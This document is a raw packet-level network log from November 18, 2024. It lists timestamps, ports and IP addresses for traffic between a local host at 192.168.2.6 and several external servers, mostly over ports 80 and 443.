Nov 18, 2024 00:27:49.957089901 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:49.957109928 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:49.995343924 CET	443	49947	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:49.999329090 CET	443	49941	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:49.999340057 CET	443	49942	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:50.018568039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.018584967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.018711090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.018764019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.018775940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.018793106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.018820047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.018821001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.018884897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.018918037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.019083977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.019118071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.019121885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.019121885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.019129992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.019144058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.019155025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.019187927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.019187927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.019558907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.019572020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.019583941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.019639969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.019639969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.047713995 CET	443	49941	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:50.047847033 CET	49941	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:50.064191103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.064205885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.064234972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.064240932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.064373970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.066659927 CET	443	49942	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:50.066812038 CET	443	49942	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:50.066881895 CET	49942	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:50.066917896 CET	49942	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:50.072083950 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.072107077 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.072194099 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.072216988 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.072550058 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.135560989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.135628939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.135667086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.135704041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.135732889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.135797024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.135818958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.135832071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.135930061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.135931969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.135951042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.135962963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.135988951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.135996103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.135996103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.136145115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.136408091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.136419058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.136430979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.136442900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.136451006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.136468887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.136671066 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.174223900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.174240112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.174262047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.174273968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.174284935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.174294949 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.174295902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.174413919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.191396952 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.191418886 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.191466093 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.191493034 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.191517115 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.191534996 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.191947937 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.192008972 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.192013979 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.192034006 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.192074060 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.194605112 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.194628954 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.252547026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.252566099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.252626896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.252640009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.252681017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.252708912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.252741098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.252741098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.252770901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.252814054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.252882957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.252919912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.253005028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.253015995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.253029108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.253060102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.253349066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.253369093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.253403902 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.253403902 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.253407001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.253418922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.253463030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.253463030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.291258097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.291285038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.291296005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.291309118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.291337013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.291338921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.291423082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.291532040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.291615009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.291707039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.291783094 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.369817972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.369853020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.369875908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.369896889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.369906902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.369926929 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.369926929 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.370062113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.370063066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.370111942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.370197058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.370202065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.370258093 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.370275974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.370287895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.370333910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.370522976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.370534897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.370547056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.370582104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.370600939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.370636940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.370650053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.370688915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.408179045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.408195972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.408260107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.408277988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.408289909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.408303022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.408348083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.408348083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.408548117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.408559084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.408593893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.486988068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.487001896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.487014055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.487076044 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.487137079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.487154007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.487165928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.487178087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.487190008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.487202883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.487212896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.487245083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.487747908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.487818003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.487847090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.487863064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.488007069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.488018990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.488032103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.488044024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.488061905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.488105059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.497710943 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.499038935 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.499064922 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.499908924 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.499919891 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.525573015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.525649071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.525667906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.525680065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.525691986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.525711060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.525851965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.540941954 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.544570923 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.544600010 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.545185089 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.545192003 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.567585945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.567671061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.567722082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.567722082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.604078054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604104042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604115963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604159117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.604167938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604264021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.604294062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604368925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604379892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604384899 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.604393959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604410887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604423046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604435921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.604435921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.604506969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.605144978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.605155945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.605168104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.605191946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.605231047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.624608040 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.624821901 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.625557899 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.625586033 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.626455069 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.626463890 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.627038956 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.627058029 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.627759933 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.627763987 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.630053997 CET	443	49947	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:50.630125999 CET	49947	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:50.632894039 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.632926941 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.632993937 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.633048058 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.633048058 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.633416891 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.633416891 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.633434057 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.633443117 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.636941910 CET	49950	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.636976957 CET	443	49950	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.637254000 CET	49950	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.637568951 CET	49950	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.637579918 CET	443	49950	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.642069101 CET	443	49948	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.642421961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.642436028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.642447948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.642458916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.642473936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.642508984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.642573118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.642720938 CET	49948	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.642743111 CET	443	49948	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.643234968 CET	49948	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.643239975 CET	443	49948	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.676795959 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.677814960 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.677866936 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.677886963 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.677937031 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.677937031 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.677937031 CET	49944	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.677963018 CET	443	49944	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.681431055 CET	49951	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.681464911 CET	443	49951	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.681617975 CET	49951	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.681721926 CET	49951	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.681730032 CET	443	49951	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.688858986 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:50.689527035 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:50.689588070 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:50.690085888 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:50.691250086 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:50.691332102 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:50.691621065 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:50.721573114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.721592903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.721606970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.721618891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.721631050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.721673012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.721731901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.721869946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.721882105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.721893072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.721931934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.721931934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.722032070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.722043991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.722079992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.722096920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.722107887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.722119093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.722132921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.722157955 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.722157955 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.722182989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.722884893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.722901106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.722913980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.722944975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.722944975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.735342026 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:50.754137039 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.754209042 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.754277945 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.758023024 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.758037090 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.758053064 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.758060932 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.759383917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.759397030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.759409904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.759422064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.759478092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.759478092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.759567976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.759738922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.759844065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:50.759918928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:50.766772032 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.766809940 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.766854048 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.766897917 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.767426968 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.767436981 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.767452955 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.767457962 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.772409916 CET	443	49948	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.772423029 CET	49952	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.772449970 CET	443	49952	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.772465944 CET	443	49948	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:50.772516966 CET	49952	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:50.772538900 CET	49948	443	192.168.2.6	13.107.246.45
